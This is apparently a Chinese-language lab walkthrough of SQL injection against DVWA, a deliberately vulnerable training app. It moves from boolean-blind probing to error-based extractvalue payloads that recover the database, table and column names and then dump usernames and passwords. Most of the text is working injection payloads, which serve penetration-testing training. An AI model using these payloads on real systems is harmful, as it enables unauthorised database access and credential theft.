1、判断是否存在注入,注入是字符型还是数字型
DVWA安全级别为“Low”
(1)判断是否存在漏洞
Id值输入为1
,发现正常显示
Id值输入为1’
,发现报错
判断存在sql注入漏洞
(2)判断是否存在数字型漏洞
输入1 and 1=1
显示正常
输入1 and 1=2
,显示仍然正常
故,判断不存在数字型漏洞
(3)判断是否存在字符型漏洞
输入1’ and ‘1’=’1
,正常显示
输入1’ and ‘1’=’2
,没有显示结果
故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞
2、猜解数据库名的长度;猜解当前数据库名
(1)猜解数据库名长度
猜解数据库名长度的函数为length(),用法如下
1' and length(database())=2 #
判断数据库名长度为2
页面显示MISSING表明当前猜解长度判断不正确
1' and length(database())=4 #
猜数据库名长度为4
页面显示exist,表明当前猜解的长度正确,数据库名的长度为4
(2)猜解当前数据库名
猜解数据库名称需要用到一下三个函数
database():当前使用的数据库
substr(x,y,z):获取x的从y开始的z位;如果省略“z",则取全部的字符串
如substr('xin',1,1); 截取的值为x
substr('xin',2,1);截取的值为i
substr('xin',1,2);截取的值为xi
ascii():得字符的ascii值。97-122
如ascii('a'); 取得的值为97
以判断数据库名第一位为例
1)使用substr函数和database函数
当判断的数据库名第一位不正确时,返回MISSING
1' and substr(database(),1,1) ='a'#
当判断数据库名第一位正确时,返回exist
1' and substr(database(),1,1) ='d'#
2)使用ascii函数、substr函数以及database函数判断
a-z对应的ascii值为97-122
使用ascii函数判断数据库名称时采用二分法判断
第一步:首先判断第一位值是否大于110或小于110
1' and ascii(substr(database(),1,1) )>110#
返回MISSING,表明该值小于110
第二步:判断值是否大于或小于104
1' and ascii(substr(database(),1,1) )>104#
依旧为MISSING,表明该值小于104
第三步:判断该值是否大于或小于100
1' and ascii(substr(database(),1,1) )>100#
返回仍未MISSING,接着测试
第四步:判断该值是否大于99
1' and ascii(substr(database(),1,1) )>99#
返回存在,表明该值大于99
第五步:再判断该值是否小于100
1' and ascii(substr(database(),1,1) )<100#
返回错误,根据上面的判断,该值不大于100,也不小于100,猜测该值为100
故进行100的判断
1' and ascii(substr(database(),1,1) )=100#
返回正确,表明该值就为100,100咋ASCII码表里对应的值为“d”,故数据库表明第一位为d
根据之前判断的数据库名的长度为4,我们在进行上述的数据库名值的判断,可以得到数据库名为“dvwa”
3、猜解数据库中表的数量;猜解表名
(1)猜解数据库中的表的数量
使用到的函数count函数
第一步:猜测数据库中的表的数量为1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
结果显示MISSING
第二步:猜测数据库中的表的数量为2
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
结果显示存在,表明当前数据库中有两个表
(2)猜解表名
1)猜解两个表的长度
猜解第一个表的长度,是用二分法判断,首先判断是否大于10
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10#
回显不存在,表明表的长度不大于10,重复操作接着判断
通过判断,可以得到第一个表的长度为9
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#
第二个表的长度为5
2)猜解两个表名称
可以利用以下两种方法判断
substr函数
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#
ascii函数、substr函数结合使用
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
该方法使用二分法判断表名称的ascii值,多次判断,可以得到第一个表的名称为guestbook
第二个表也利用上面的方法进行判断,可以得到第二个表的名称为users
也是可以通过判断字母或者对应的ascii值
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='u'#
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115#
4、猜解表中字段的数量;猜解表中的字段名
由第三问可以猜解出两个表名分别为guestbook和users
(1)猜解表中字段的数量
我们猜解的表为users,多次实验可以猜解到,一般存放账号密码的表为用户表
使用count函数,猜解表中的字段数量,可以采用以下方法,逐个猜测,也可以采用>或<以及二分法判断字段数量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 #
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
通过多次猜解,可以得到表中的字段数量为8
(2)猜解表中的字段名
1)猜解第一个字段名长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #
多次猜解,可以得到第一个字段长度为7
2)猜解第一个字段的名称
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a' #
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' #
以上步骤猜解出第一个值为u
猜解第一个字段的第二个字母
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115;#
重复上述操作,可以得到第一个字段名为user_id
3)猜解该表中的其他字段值
1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='f' #
多次重复操作,可以得到users表中的所有字段名称
5、猜解数据(可使用报错函数)
(1)爆出数据库名
1' and extractvalue(rand(),concat(0x3e,database()))#
(2)爆出表名
当我们使用报错函数爆表名时,表不止一个,我们使用如下代码,会出现错误,并提醒我们查询的结果不止一列
1' and extractvalue(rand(),concat(0x3e,(select table_name from information_schema.tables where table_schema=database() )))#
故,我们必须使用limit函数,来逐条查询每个表名
爆出第一个表名
1' and extractvalue(rand(),concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
爆出第二个表名
1' and extractvalue(rand(),concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#
(3)爆出表的字段名
使用如下代码可以爆出users表的字段名
但对我们有用的字段只有user跟password字段
1' and extractvalue(rand(),concat(0x3e,(select column_name from information_schema.columns where table_name='users' limit 3,1)))#
1' and extractvalue(rand(),concat(0x3e,(select column_name from information_schema.columns where table_name='users' limit 4,1)))#
(4)爆出用户、密码等信息
1' and extractvalue(rand(),concat(0x3e,(select concat(user,0x3a,password) from users limit 1,1)))#
1' and extractvalue(rand(),concat(0x3e,(select concat(user,0x3a,password) from users limit 2,1)))#
成功爆出用户以及对应的密码